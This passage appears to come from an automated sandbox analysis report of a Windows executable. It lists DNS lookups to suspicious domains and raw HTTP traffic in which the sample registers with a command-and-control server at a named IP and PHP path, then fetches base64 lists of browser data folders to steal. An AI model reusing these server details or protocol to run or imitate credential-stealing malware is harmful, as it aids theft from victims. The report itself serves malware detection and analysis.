Nov 20, 2024 12:58:44.215006113 CET	443	49902	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:44.215017080 CET	49902	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:44.215023041 CET	443	49902	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:44.217679024 CET	49907	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:44.217715979 CET	443	49907	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:44.217794895 CET	49907	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:44.217932940 CET	49907	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:44.217947960 CET	443	49907	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:44.283355951 CET	443	49903	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:44.283782005 CET	443	49903	13.107.246.45	192.168.2.4
Nov 20, 2024 12:58:44.283876896 CET	49903	443	192.168.2.4	13.107.246.45
Nov 20, 2024 12:58:44.283905983 CET	49903	443	192.168.2.4	13.107.246.45

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 12:57:43.287170887 CET	192.168.2.4	1.1.1.1	0x6aaf	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:57:43.287265062 CET	192.168.2.4	1.1.1.1	0x3538	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 20, 2024 12:57:46.135708094 CET	192.168.2.4	1.1.1.1	0x62	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:57:46.135865927 CET	192.168.2.4	1.1.1.1	0x43ac	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 20, 2024 12:57:47.138346910 CET	192.168.2.4	1.1.1.1	0xe61a	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:57:47.138701916 CET	192.168.2.4	1.1.1.1	0xf196	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 20, 2024 12:59:12.760456085 CET	192.168.2.4	1.1.1.1	0x9810	Standard query (0)	tVbpvlpuypYopkFjWdOBJOajLc.tVbpvlpuypYopkFjWdOBJOajLc	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:18.244153023 CET	192.168.2.4	1.1.1.1	0x740f	Standard query (0)	home.fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:18.244252920 CET	192.168.2.4	1.1.1.1	0xe46	Standard query (0)	home.fvtekk5pn.top	28	IN (0x0001)	false
Nov 20, 2024 12:59:28.560286999 CET	192.168.2.4	1.1.1.1	0x7754	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:42.874763966 CET	192.168.2.4	1.1.1.1	0x8d1a	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:42.905616999 CET	192.168.2.4	1.1.1.1	0xef97	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 12:59:42.960491896 CET	192.168.2.4	1.1.1.1	0x58f6	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:42.979836941 CET	192.168.2.4	1.1.1.1	0x7c2b	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.015829086 CET	192.168.2.4	1.1.1.1	0x7a97	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 20, 2024 12:59:43.016047955 CET	192.168.2.4	1.1.1.1	0x3e69	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.079807997 CET	192.168.2.4	1.1.1.1	0xc61c	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.110800982 CET	192.168.2.4	1.1.1.1	0xc421	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 12:59:43.198190928 CET	192.168.2.4	1.1.1.1	0x9d92	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.210633993 CET	192.168.2.4	1.1.1.1	0x6b37	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.215193033 CET	192.168.2.4	1.1.1.1	0xe7d	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.216648102 CET	192.168.2.4	1.1.1.1	0xcca3	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.217287064 CET	192.168.2.4	1.1.1.1	0xb257	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.218842983 CET	192.168.2.4	1.1.1.1	0x6a4a	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.220787048 CET	192.168.2.4	1.1.1.1	0x32db	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.224273920 CET	192.168.2.4	1.1.1.1	0x47d4	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 20, 2024 12:59:43.225430012 CET	192.168.2.4	1.1.1.1	0x21b8	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.242399931 CET	192.168.2.4	1.1.1.1	0xec96	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.242850065 CET	192.168.2.4	1.1.1.1	0xe6c4	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.252589941 CET	192.168.2.4	1.1.1.1	0x7114	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 12:59:43.252918005 CET	192.168.2.4	1.1.1.1	0xd069	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 20, 2024 12:59:43.255863905 CET	192.168.2.4	1.1.1.1	0xb94f	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 12:59:43.260730028 CET	192.168.2.4	1.1.1.1	0x34e8	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.266367912 CET	192.168.2.4	1.1.1.1	0xc52a	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.268677950 CET	192.168.2.4	1.1.1.1	0xf01b	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 12:59:43.296375990 CET	192.168.2.4	1.1.1.1	0x1c6	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.296709061 CET	192.168.2.4	1.1.1.1	0x1ee4	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 20, 2024 12:59:43.304408073 CET	192.168.2.4	1.1.1.1	0xdf8f	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 12:59:43.545190096 CET	192.168.2.4	1.1.1.1	0x783a	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.545525074 CET	192.168.2.4	1.1.1.1	0xea71	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.546976089 CET	192.168.2.4	1.1.1.1	0x1c55	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:46.472930908 CET	192.168.2.4	1.1.1.1	0x1d34	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:46.481298923 CET	192.168.2.4	1.1.1.1	0x3a22	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:46.492193937 CET	192.168.2.4	1.1.1.1	0xb658	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 12:57:43.294465065 CET	1.1.1.1	192.168.2.4	0x3538	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 20, 2024 12:57:43.294509888 CET	1.1.1.1	192.168.2.4	0x6aaf	No error (0)	www.google.com		142.250.186.164	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:57:46.142462015 CET	1.1.1.1	192.168.2.4	0x62	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 12:57:46.142462015 CET	1.1.1.1	192.168.2.4	0x62	No error (0)	plus.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:57:46.142792940 CET	1.1.1.1	192.168.2.4	0x43ac	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 12:57:47.145351887 CET	1.1.1.1	192.168.2.4	0xe61a	No error (0)	play.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:12.781606913 CET	1.1.1.1	192.168.2.4	0x9810	Name error (3)	tVbpvlpuypYopkFjWdOBJOajLc.tVbpvlpuypYopkFjWdOBJOajLc	none	none	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:18.652590036 CET	1.1.1.1	192.168.2.4	0x740f	No error (0)	home.fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:28.599965096 CET	1.1.1.1	192.168.2.4	0x7754	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:28.599965096 CET	1.1.1.1	192.168.2.4	0x7754	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:42.810751915 CET	1.1.1.1	192.168.2.4	0x39d5	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:42.883119106 CET	1.1.1.1	192.168.2.4	0x8d1a	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:42.968183994 CET	1.1.1.1	192.168.2.4	0x58f6	No error (0)	youtube.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:42.986665010 CET	1.1.1.1	192.168.2.4	0x7c2b	No error (0)	youtube.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.024699926 CET	1.1.1.1	192.168.2.4	0x7a97	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 20, 2024 12:59:43.024719000 CET	1.1.1.1	192.168.2.4	0x3e69	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 12:59:43.024719000 CET	1.1.1.1	192.168.2.4	0x3e69	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.086704016 CET	1.1.1.1	192.168.2.4	0xc61c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.117620945 CET	1.1.1.1	192.168.2.4	0xc421	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 20, 2024 12:59:43.205790043 CET	1.1.1.1	192.168.2.4	0x9d92	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.219770908 CET	1.1.1.1	192.168.2.4	0x6b37	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.223887920 CET	1.1.1.1	192.168.2.4	0x3e4c	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 12:59:43.223887920 CET	1.1.1.1	192.168.2.4	0x3e4c	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.224638939 CET	1.1.1.1	192.168.2.4	0xe7d	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 12:59:43.224638939 CET	1.1.1.1	192.168.2.4	0xe7d	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.225817919 CET	1.1.1.1	192.168.2.4	0xcca3	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 12:59:43.225817919 CET	1.1.1.1	192.168.2.4	0xcca3	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 12:59:43.225817919 CET	1.1.1.1	192.168.2.4	0xcca3	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.226737976 CET	1.1.1.1	192.168.2.4	0xb257	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 12:59:43.228152037 CET	1.1.1.1	192.168.2.4	0x6a4a	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.229803085 CET	1.1.1.1	192.168.2.4	0x32db	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 12:59:43.229803085 CET	1.1.1.1	192.168.2.4	0x32db	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.231280088 CET	1.1.1.1	192.168.2.4	0x715	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.232917070 CET	1.1.1.1	192.168.2.4	0x21b8	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.249689102 CET	1.1.1.1	192.168.2.4	0xec96	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.249880075 CET	1.1.1.1	192.168.2.4	0xe6c4	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.262861967 CET	1.1.1.1	192.168.2.4	0xb94f	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 20, 2024 12:59:43.268188000 CET	1.1.1.1	192.168.2.4	0x34e8	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.273638010 CET	1.1.1.1	192.168.2.4	0xc52a	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.303224087 CET	1.1.1.1	192.168.2.4	0x1c6	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.552114010 CET	1.1.1.1	192.168.2.4	0x783a	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.552134037 CET	1.1.1.1	192.168.2.4	0xea71	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.552134037 CET	1.1.1.1	192.168.2.4	0xea71	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.553745985 CET	1.1.1.1	192.168.2.4	0x1c55	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 12:59:43.553745985 CET	1.1.1.1	192.168.2.4	0x1c55	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:43.735815048 CET	1.1.1.1	192.168.2.4	0xdc9c	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:46.480150938 CET	1.1.1.1	192.168.2.4	0x1d34	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 12:59:46.480150938 CET	1.1.1.1	192.168.2.4	0x1d34	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 12:59:46.480150938 CET	1.1.1.1	192.168.2.4	0x1d34	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 20, 2024 12:59:46.489052057 CET	1.1.1.1	192.168.2.4	0x3a22	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.206	80	432	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 12:57:37.196181059 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 12:57:37.907480001 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:57:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 12:57:37.911222935 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFHJKJJJECGDHJJDHDA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 48 4a 4b 4a 4a 4a 45 43 47 44 48 4a 4a 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 39 31 35 44 35 39 32 41 44 46 35 31 36 36 30 34 39 33 34 38 35 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 48 4a 4b 4a 4a 4a 45 43 47 44 48 4a 4a 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 48 4a 4b 4a 4a 4a 45 43 47 44 48 4a 4a 44 48 44 41 2d 2d 0d 0a Data Ascii: ------FCFHJKJJJECGDHJJDHDAContent-Disposition: form-data; name="hwid"1915D592ADF51660493485------FCFHJKJJJECGDHJJDHDAContent-Disposition: form-data; name="build"mars------FCFHJKJJJECGDHJJDHDA--
Nov 20, 2024 12:57:38.151223898 CET	407	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:57:38 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 57 45 34 5a 57 4e 6b 4d 6d 55 32 4f 47 59 34 59 54 4e 6a 4f 54 67 7a 4d 32 4d 34 4d 6d 49 32 59 7a 52 6a 59 7a 56 6c 5a 6a 68 69 4f 54 4a 6b 5a 44 41 30 4d 6a 51 32 4e 54 41 33 59 6a 4e 6b 4d 47 49 33 4f 44 55 79 4e 57 56 68 5a 6d 52 68 59 54 41 79 4f 44 59 78 4f 54 67 77 5a 6d 5a 6b 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZWE4ZWNkMmU2OGY4YTNjOTgzM2M4MmI2YzRjYzVlZjhiOTJkZDA0MjQ2NTA3YjNkMGI3ODUyNWVhZmRhYTAyODYxOTgwZmZkfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 20, 2024 12:57:38.154086113 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFBFBFIIJDAKECAKKJE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 38 65 63 64 32 65 36 38 66 38 61 33 63 39 38 33 33 63 38 32 62 36 63 34 63 63 35 65 66 38 62 39 32 64 64 30 34 32 34 36 35 30 37 62 33 64 30 62 37 38 35 32 35 65 61 66 64 61 61 30 32 38 36 31 39 38 30 66 66 64 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------EBFBFBFIIJDAKECAKKJEContent-Disposition: form-data; name="token"ea8ecd2e68f8a3c9833c82b6c4cc5ef8b92dd04246507b3d0b78525eafdaa02861980ffd------EBFBFBFIIJDAKECAKKJEContent-Disposition: form-data; name="message"browsers------EBFBFBFIIJDAKECAKKJE--
Nov 20, 2024 12:57:38.380971909 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:57:38 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 20, 2024 12:57:38.381000042 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 20, 2024 12:57:38.382462978 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKKFCFIIJJKKFHIEHJK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 38 65 63 64 32 65 36 38 66 38 61 33 63 39 38 33 33 63 38 32 62 36 63 34 63 63 35 65 66 38 62 39 32 64 64 30 34 32 34 36 35 30 37 62 33 64 30 62 37 38 35 32 35 65 61 66 64 61 61 30 32 38 36 31 39 38 30 66 66 64 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 